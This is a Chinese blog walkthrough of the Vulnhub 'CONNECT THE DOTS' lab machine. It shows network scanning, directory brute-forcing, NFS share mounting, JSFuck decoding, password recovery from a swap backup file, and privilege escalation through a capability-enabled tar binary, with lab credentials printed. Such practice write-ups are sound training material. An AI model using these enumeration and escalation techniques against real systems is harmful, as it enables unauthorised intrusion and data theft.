【Vulnhub】靶机CONNECT THE DOTS

前言

  • Vulnhub刷题简单记录

CONNECT THE DOTS

描述

  • 级别:初级-中级
  • 用户标志:user.txt
  • 根标志:root.txt
  • 描述:该机器与 VirtualBox 兼容,但也可以在 VMWare 中使用(未测试但应该可以使用)。DHCP 将自动分配 IP。您必须找到并读取分别存在于 user.txt 和 root.txt 中的两个标志(user 和 root)。尽情享受吧!

CONNECT THE DOTS开始

1、可以用两种方法确认靶场的存在,扫ip

1
2
netdiscover -i eth0 -r 192.168.56.0/24
nmap -sn 192.168.56.0/24

2、扫目标端口开发情况,发现有2049端口是nfs服务器

1
nmap -p- -A 192.168.56.105

3、访问主页,=我们扫一下目录情况

1
2
3
gobuster dir -u http://192.168.56.105/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200

dirb http://192.168.56.104/

4、用showmount查看挂在目录文件,然后挂在到当前目录的dots中,这里可以得到一个用户名

1
2
showmount -e 192.168.56.105
mount -t nfs 192.168.56.105:/home/morris dots

image-20210925181543224

image-20210925165654425

5、扫出的目录有一个register.html,发现里面有一个.cs的文件被加载,可以看到里面是jsfuck加密

我们在console中使用以下命令调用var中的b1-b10所有变量整合,然后解密

1
console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)

image-20210925171415286

6、经典的爆破密码

1
login: norris   password: TryToGuessThisNorris@2k19

image-20210925171742426

7、登陆,拿flag

image-20210925180031777

8、接着发现目录中有一个ftp文件,中有四个文件,我们用wget下载过来

1
python -m simplehttpserver  就会开启8000端口来让我们下载

image-20210925180157331

接着用exiftool查询game.jpg.bac图片信息,发现摩斯电码

image-20210925180352991

然后解密得出,他在目录中放有一个公用的文件”SECRETFILE”里面有密码

1
HEY NORRIS, YOU'VE MADE THIS FAR. FAR FAR FROM HEAVEN WANNA SEE HELL NOW? HAHA YOU SURELY MISSED ME, DIDN'T YOU? OH DAMN MY BATTERY IS ABOUT TO DIE AND I AM UNABLE TO FIND MY CHARGER SO QUICKLY LEAVING A HINT IN HERE BEFORE THIS SYSTEM SHUTS DOWN AUTOMATICALLY. I AM SAVING THE GATEWAY TO MY DUNGEON IN A 'SECRETFILE' WHICH IS PUBLICLY ACCESSIBLE.

我们查询一下该文件的下路,发现在html文件中

1
find / -iname SECRETFILE 2>/dev/null #不区分大小写查询

image-20210925180524382

通过测试得知,他估计电脑没电关机了,只有备份文件,但是其中有另一个用户的密码,通过下载文件swp备份

image-20210925180652537

获取其中的文本,得到morris的密码

1
strings .secretfile.swp

image-20210925180801370

9、发现正常suid无法提权,我们查找特权工具,明显tar有可以无视权限的方式读取root的用户的文件

1
/sbin/getcap -r / 2>/dev/null

image-20210925180937058

但是发现只有norris的用户才能使用tar,所以可以利用tar的打包和解压方式获取root目录,将其解压进tmp目录,名为roottest.tar.gz

image-20210925181145233

接着用tar来解压

image-20210925181231124

就可以利用普通用户权限,读取root目录

image-20210925181256511

我的个人博客

孤桜懶契:http://gylq.gitee.io

本文标题:【Vulnhub】靶机CONNECT THE DOTS

文章作者:孤桜懶契

发布时间:2021年09月25日 - 16:20:05

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/152.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------